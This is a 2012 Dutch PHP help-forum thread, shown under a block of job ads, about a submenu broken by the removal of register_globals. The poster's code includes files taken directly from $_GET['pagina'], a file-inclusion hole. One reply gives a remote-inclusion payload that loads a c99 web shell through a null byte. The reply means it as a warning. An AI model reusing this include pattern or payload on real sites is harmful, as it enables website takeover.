Submenu werkt niet meer, help!

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Front end developer React

Functie Wij zijn van origine een wordpress bureau, maar sinds 2006 zijn wij dit wel redelijk ontgroeid. Naar mate de jaren verstreken zijn we gegroeid in omvang, maar ook in de complexiteit van opdrachten waarin wij onze klanten kunnen bedienen. Momenteel bestaat onze organisatie uit 4 front end developers, 12 back end developer 3 projectmanagers en een 2 koppig management. Wij zijn een hele informele, bijna familiaire organisatie. Geen strak pak of overhemd, nee gewoon dragen waar jij je prettig bij voelt. De gemiddelde leeftijd ligt tussen de 25 en 30 en wij doen er veel aan om onze hechte

Bekijk vacature »

Node.js developer looking for a challenging consul

Functie Under the guidance of 3 account managers, one of whom will be your point of contact within your expertise, you will start working for various clients. He or she will help you find a suitable and challenging assignment. Naturally, they will take your situation, experience and (technical) ambitions into account. The assignments last one to two years on average. This allows you to really commit to a project and make an impact as a consultant. Besides the assignment, you will regularly meet your colleagues from the IT department to share knowledge or discuss new trends, for example. Master classes

Bekijk vacature »

Medior/senior Front-end developer

Functie Je maakt deel uit van een DevOps Scrum team en werkt samen met back-end developers, test-engineers, interaction designers en een projectmanager. Er zijn verschillende groepen Scrum teams. Een roadmap team is jouw ‘’thuisbasis’’, daar wordt gewerkt aan doorontwikkeling van bestaande omgevingen voor een aantal klanten. Hiernaast zijn er projectteams waar nieuwe omgevingen worden gebouwd, of grote complexe wijzigingen worden doorgevoerd op bestaande omgevingen. Je kunt (afhankelijk van jouw wensen en doelen) dus afwisselend werken in beide teams. Hiernaast participeer je in het Chapter Front-end development waar gezamenlijk kennis en ervaring wordt gedeeld. Als Front-end developer is het jouw doel

Bekijk vacature »

.NET Developer Azure

Dit ga je doen Het ontwerpen en bouwen van diverse applicaties (C#, ASP.NET, MVC); Het ontwikkelen van Webservices (WCF); Het meewerken aan de transitie naar Azure; Het samenwerken met collega's binnen een Scrumteam en meedenken over de User Stories; Het bouwen van unittesten; Meedenken over nieuwe tooling, ontwikkelingen en technologieën in de markt. Hier ga je werken Je komt te werken bij een organisatie die verantwoordelijk is voor de ontwikkeling van verschillende portalen. Deze portalen worden gebruikt door diverse partijen en jouw taak is om ervoor te zorgen dat deze optimaal functioneren. Je wordt onderdeel van een Scrumteam en werkt

Bekijk vacature »

Medior Java developer (fullstack)

Wat je gaat doen: Of beter nog, wat wil jij doen? Binnen DPA GEOS zijn we dan ook op zoek naar enthousiaste Java developers om ons development team te versterken. Als Java developer werk je in Agile/Scrum teams bij onze klanten en daarbij kun je eventueel ook andere ontwikkelaars begeleiden in het softwareontwikkelproces. Verder draag je positief bij aan de teamgeest binnen een projectteam en je kijkt verder dan je eigen rol. Je gaat software maken voor verschillende opdrachtgevers in jouw regio. Je bent een professional die het IT-vak serieus neemt en kwaliteit levert. Je leert snel vanwege je diepgaande

Bekijk vacature »

TypeScript developer (tot € 6.000, - bruto pe

Functie Om bovenstaande ambities waar te kunnen maken zijn ze op zoek naar een ervaren Typecript developer die niet alleen zichzelf verder ontwikkelt, maar het ook leuk vinden om op termijn meer junior collega’s op pad te helpen. Je zult aan de slag gaan met het migreren van hun bestaande UI in Angular. Maar ook het ontwikkelen van een mobiele app. Hierbij hechten ze veel waarde aan User Experience en kiezen ze duidelijk voor kwaliteit i.p.v. snelheid. Je krijgt dus de ruimte om vanuit gedegen onderzoek te werk te gaan en het borgen van kwaliteit staat hoog in het vaandel.

Bekijk vacature »

Medior Front-end Developer

Sogeti is een organisatie met een goede werksfeer en zo min mogelijk hiërarchische verhoudingen. Ga je bij ons als Medior Front-end Developer aan de slag? Dan werk je dagelijks met collega’s aan de mooiste IT-projecten. Deze snelgroeiende groep collega’s krijgt energie van hun vak en dat merk je op de werkvloer. Onze klantenkring is groot en divers, dat vraagt om flexibiliteit van jou. Tegelijkertijd betekent dit dagelijks nieuwe dingen leren én dat geen werkdag hetzelfde is. Natuurlijk krijg jij de mogelijkheid je te certificeren. We organiseren regelmatig technische Meet-ups en doen we veel aan kennisdeling waarbij iedereen welkom is, zowel

Bekijk vacature »

PHP Laravel Ontwikkelaar

Functie omschrijving Weet jij alles over Laravel en krijg je energie van het developen van software hiermee? Laat het weten want wij zoeken een PHP/Laravel developer in regio 's-Hertogenbosch voor klein bedrijf welke softwareoplossingen maakt voor hun klanten. Jouw taken hierbij: Softwareapplicaties ontwikkelen en verder optimaliseren in veel diverse projecten op basis van Agile/Scrum. Documentatie schrijven over applicaties. Uitleg geven over software en applicaties Klantcontact hebben over bestaande applicaties. Techstack: PHP, Laravel, HTML, CSS, Javascript. Bedrijfsprofiel Deze organisatie zit in de regio van 's-Hertogenbosch en is een klein bedrijf. Er werken circa 15 medewerkers, verdeeld in meerdere teams, zoals back-end

Bekijk vacature »

Ontwikkelaar MS Dynamics 365 Projecten

Samengevat: Deze werkgever is de kwaliteitsdienst in de tuinbouwsector. Ben jij een ervaren ontwikkelaar? Heb jij ervaring met Ms Dynamics 365 BC? Vaste baan: Ontwikkelaar Ms Dynamics 365 BC ICT MBO 3.500 - 5.000 Ontwikkelaar Ms Dynamics 365 BC Ons bedrijf bewaakt en bevordert de kwaliteit van producten, processen en ketens in de tuinbouw. Wij kenmerken zich door openheid, ruimte voor initiatief, collegialiteit en zelfontplooiing. Deze werkgever is een veelzijdige organisatie. Je werkt voor de eigen IT organisatie. Zij werken met moderne technologie en staan open voor innovatie. Functie: Voor de vacature als Ontwikkelaar Ms Dynamics 365 BC Roelofarendsveen MBO

Bekijk vacature »

(Junior) PHP Ontwikkelaar bij een retail bedrijf i

Bedrijfsomschrijving Ben jij een ervaren PHP ontwikkelaar met een passie voor retail en ICT? Wil jij werken in een team dat zich bezighoudt met het ontwikkelen van uitdagende applicaties voor een groot retailbedrijf in Delft? Dan zijn zij op zoek naar jou! Functieomschrijving Als PHP Ontwikkelaar werk je in een team aan de ontwikkeling van applicaties die door de gehele organisatie worden gebruikt. Je bent verantwoordelijk voor het ontwikkelen, testen en implementeren van deze applicaties. Je werkt hierbij nauw samen met andere ontwikkelaars, projectmanagers en stakeholders binnen de organisatie. Je taken bestaan onder andere uit: Ontwikkelen van nieuwe functionaliteiten en

Bekijk vacature »

Medior PHP Developer

Functie omschrijving Ben jij een getalenteerde PHP Developer en aan de slag in een gemotiveerd team? Lees dan snel verder! Voor onze opdrachtgever in de omgeving van Valkenswaard zijn we op zoek naar een ervaren PHP developer. Jij gaat hier zorg dragen voor het optimaliseren en up-to-date houden van de bestaande applicaties. Je werkt verder aan de applicaties die jij verder ontwikkelt. Dit doe je voornamelijk met PHP en MySQL. Verder ga je je bezig houden met: Het uitbouwen van het E-commerce software platform. Deelnemen aan overleggen met het team. Het ondersteunen van jouw team developers (3 man) en helpen

Bekijk vacature »

Full Stack Java ontwikkelaar

Functieomschrijving Voor de politie zijn wij op zoek naar een Full stack Java ontwikkelaar. Als ervaren full stack Java ontwikkelaar binnen de gewenste deadlines meewerken aan de totstandkoming van de gewenste werkzaamheden. Taken Upgraden van GeoServer, SOLR, Oracle Spatial database, Tomcat Migreren Oracle Spatial naar PostgreSQL/PostGIS Migreren SOLR naar ElasticSearch Geografische gegevens op het interne netwerk beschikbaar maken Doorontwikkelen en actualiseren van de geografische services Het up to date brengen van de CI/CD pipeline, samen met medewerkers die verantwoordelijk zijn voor de CI/CD tooling Aanspreekbaar op de solution architectuur en stemt die met collega's in het cluster Geo De opdracht

Bekijk vacature »

Back end developer PHP, Laravel

Functie Jij komt te werken in ons webdevelopment team, wat bestaat uit 8 ervaren collega’s. Hiernaast hebben wij nog een team van 2 ontwikkelaars die aan native applicaties werken. Bij ons zijn er korte lijntjes en er hangt een gezellige informele werksfeer. Maar het belangrijkste is natuurlijk dat je aan geweldige applicaties zult gaan werken! Wij willen als organisatie niet te groot worden, we willen gewoon toffe dingen maken. Onze techstack bestaat momenteel uit: PHP, Laravel, Javascript, Typescript, Git, MySQL, Java, Kotlin, Xamarin. Samen met ons ga jij zorgen dat we puik werk leveren! Waarbij je bij elke fase in

Bekijk vacature »

Android developer

De functie Schiphol is een plek om te reizen, te verblijven en te werken. Door middel van data en technologie richten we op al deze gebieden het leef- en werkklimaat optimaal in en zorgen we voor een slimmere en efficiëntere operatie. Wij ontwikkelen nieuwe producten en diensten vanuit de wensen en behoeften van onze klanten, voorspellen passagier flows en testen digitale oplossingen om rijen en andere pijnpunten in het proces te verminderen. Met slimme feedback van sensortechnologie maken we zelfs data van toiletten en stoelen inzichtelijk en bruikbaar. Het Commercial Platform bestaat uit multidisciplinaire teams met een end-2-end verantwoordelijkheid voor

Bekijk vacature »

Medior Java developer (fullstack)

Wat je gaat doen: Of beter nog, wat wil jij doen? Binnen DPA GEOS zijn we dan ook op zoek naar enthousiaste Java developers om ons development team te versterken. Als Java developer werk je in Agile/Scrum teams bij onze klanten en daarbij kun je eventueel ook andere ontwikkelaars begeleiden in het softwareontwikkelproces. Verder draag je positief bij aan de teamgeest binnen een projectteam en je kijkt verder dan je eigen rol. Je gaat software maken voor verschillende opdrachtgevers in jouw regio. Je bent een professional die het IT-vak serieus neemt en kwaliteit levert. Je leert snel vanwege je diepgaande

Bekijk vacature »
Am MM

Am MM

17/08/2012 15:12:19
Quote Anchor link
Hallo,

Ik heb problemen met de submenu. Het heeft al jaren gewerkt zonder probleem, maar als ik nu op het menu klik dan verwacht ik 3 submenu's maar die verschijnen niet meer, verder heb ik ook niets aangepast in de afgelopen maanden, dus het komt ook niet door een aanpassing.
Hoe komt dat? Kan iemand mij helpen aub?
 
PHP hulp

PHP hulp

28/11/2024 08:20:53
 
- SanThe -

- SanThe -

17/08/2012 15:14:02
Quote Anchor link
Misschien dat er een update op de server is gedaan.
 
Am MM

Am MM

17/08/2012 15:14:41
Quote Anchor link
Dat zou kunnen, maar valt daardoor de submenu's weg? Wat kan ik nu zelf doen?
 
Marco PHPJunky

Marco PHPJunky

17/08/2012 15:19:56
Quote Anchor link
wat voor menu is het ?
wat gebruikt het menu ?
is het ergens afhankelijk van ?

voorbeeld:
als het een menu is dat afhankelijk/gemaakt is m.b.v. Jquery en je laad automatische de laatste nieuwe versie van Jquery kan het zijn dat daar misschien het probleem ligt.
 
Am MM

Am MM

17/08/2012 15:25:28
Quote Anchor link
Het is in PHP en werkt via Include. Hij is niet afhankelijk, iig niet van Jquery enz.

Hieronder een deel van het menu:

if($_GET['pagina'])
{
if(file_exists($_GET['pagina'].".php"))
{
INCLUDE($_GET['pagina'].".php");
}
else
{
include("Home.php");
}
}
else
{
INCLUDE("Home.php");
} ?>
</div>


................. En dan hier begint van de submenu:

else

if (($pagina == "Stichting") or ($pagina == "Doel") or ($pagina == "Bestuur")) {include('Stichting1.php');
 
- Ariën  -
Beheerder

- Ariën -

17/08/2012 15:28:01
Quote Anchor link
Ik zie geen submenu?
Waar komt $pagina vandaan?
Gewijzigd op 17/08/2012 15:28:36 door - Ariën -
 
Marco PHPJunky

Marco PHPJunky

17/08/2012 15:30:56
Quote Anchor link
sterker nog ik zie niet eens een menu...
Ik zie alleen een klein stukje voor het includeren van pagina's
 
Am MM

Am MM

17/08/2012 15:37:06
Quote Anchor link
Ah ik zie het is niet volledig....

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<?php include('top.php'); ?>

<tr>
<td rowspan="3" width="506" height="100%" valign="top">
<br />
<div id="" class="scroltable">
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
                 if($_GET['pagina'])  
                      {
  
                        if(file_exists($_GET['pagina'].".php"))  
                        {
  
                         INCLUDE($_GET['pagina'].".php");  
                        }
  
                        else  
                        {  
                         include("Home.php");  
                        }  
                      }
  
                      else  
                      {  
                    INCLUDE("Home.php");  
                      }
?>



<div class="submenu">
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (($pagina == "Stichting") or ($pagina == "Doel") or ($pagina == "Bestuur") or ($pagina == "Bestuursleden"))
{
include('Stichting1.php');
                            }

                                                   else
>>>>>>  dit gaat dan door voor andere submenu's.


Hier komt het gedeelte van de Top.php

<a href="?pagina=Home" class="menu">Home</a>
<a href="?pagina=Stichting" class="menu">Stichting</a>


Maargoed dit heeft altijd al gewerkt en ik vind het nu zo vaag dat de submenu'
s niet meer verschijnen.
Gewijzigd op 17/08/2012 16:01:02 door Am MM
 
- Ariën  -
Beheerder

- Ariën -

17/08/2012 16:06:13
Quote Anchor link
Wederom komt $pagina vanuit het niets.
Ik mag hopen dat je hiermee niet $_GET['pagina'] bedoelt. Want dat zou al ruim 10 jaar niet meer mogen werken.
 
Kris Peeters

Kris Peeters

17/08/2012 16:07:59
Quote Anchor link
ik kan alleen maar vaststellen dat $pagina nergens een waarde krijgt.

Het doet me iets vrezen: in php4 kon je gewone variabelen aanspreken met de url, alsof ze $_GET variabelen waren.

je kon iets als $pagina en $_GET['pagina'] door mekaar gebruiken (gezellige tijd voor hackers).

Grote wijsheid heeft ervoor gezorgd dat php5 dit niet meer doet.
Zou het dit kunnen zijn?

(Ik merk dat hier boven het zelfde wordt gevreesd)
Gewijzigd op 17/08/2012 16:25:05 door Kris Peeters
 
- Ariën  -
Beheerder

- Ariën -

17/08/2012 16:27:51
Quote Anchor link
In PHP 4.2.0 werd het voorbeeld met $pagina al onmogelijk gemaakt met de register_globals op 'off'.
En de releasedata daarvan was: Released: 22 April 2002. Ruim 10 jaar geleden....

Bovenaan de Changelog stond zelfs vermeld:
Quote:
ATTENTION!! register_globals defaults to 'off' now !!!
Gewijzigd op 17/08/2012 16:29:03 door - Ariën -
 
Olivier -

olivier -

17/08/2012 17:22:20
Quote Anchor link
eventjes....
wat nou als ik ga naar ?pagina=index
krijgen we dan een enorme crash?
en als ik ga naar www.shell.nl/c99.txt en dan in jou pagina ?pagina=http://www.shell.nl/c99.txt%00
en tadaaaa
een shell!
website gehackt jij niet bij.
 
Eddy E

Eddy E

17/08/2012 19:00:32
Quote Anchor link
Shell.nl is toch iets met olie?
 
Am MM

Am MM

17/08/2012 19:00:56
Quote Anchor link
Dus als ik het goed heb begrepen dan wordt $_GET['pagina'] niet meer gebruikt en het kan ook heel makkelijk geheckt worden.
Waarmee moet ik dit vervangen??? Of moet ik dit heel scherm anders aanpakken? Ik heb al jaren geen php meer gebruikt dus alles is nu heel vaag voor ij.
Alle help is welkom! Thanks!
 
- Ariën  -
Beheerder

- Ariën -

17/08/2012 19:40:24
Quote Anchor link
Eddy Erkelens op 17/08/2012 19:00:32:
Shell.nl is toch iets met olie?

Lekker belangrijk, het gaat om het voorbeeld. Dat er in dit geval onze belangrijke en bekende oliemaatschappij wordt bedoeld, is niet echt relevant.
Ze bedoelen hier een 'shell' mee in de vorm van hacken. Zie het als een groot PHP-controlepaneel om bestanden te beheren welke je via een zelf uit te zoeken uploadlek, op een site kan implementeren om deze vervolgens volledig over te kunnen nemen.

Toevoeging op 17/08/2012 19:41:41:

Olivier - op 17/08/2012 17:22:20:
eventjes....
wat nou als ik ga naar ?pagina=index
krijgen we dan een enorme crash?

gelukkig is er een set_time_limit() die standaard op 30 sec. staat, dus van een crash, en zelfs een grote crash kan je niet eens spreken.

Toevoeging op 17/08/2012 19:42:52:

Am MM op 17/08/2012 19:00:56:
Dus als ik het goed heb begrepen dan wordt $_GET['pagina'] niet meer gebruikt en het kan ook heel makkelijk geheckt worden.

Integendeel, die wordt juist wel gebruikt, maar $pagina niet meer. Vroeger was dit een variabele met een verborgen waarde voor GET-parameters, maar dat is sidns een decennium gelukkig niet meer zo.

Dus gebruik $_GET['pagina'] etc....
Gewijzigd op 17/08/2012 19:44:45 door - Ariën -
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.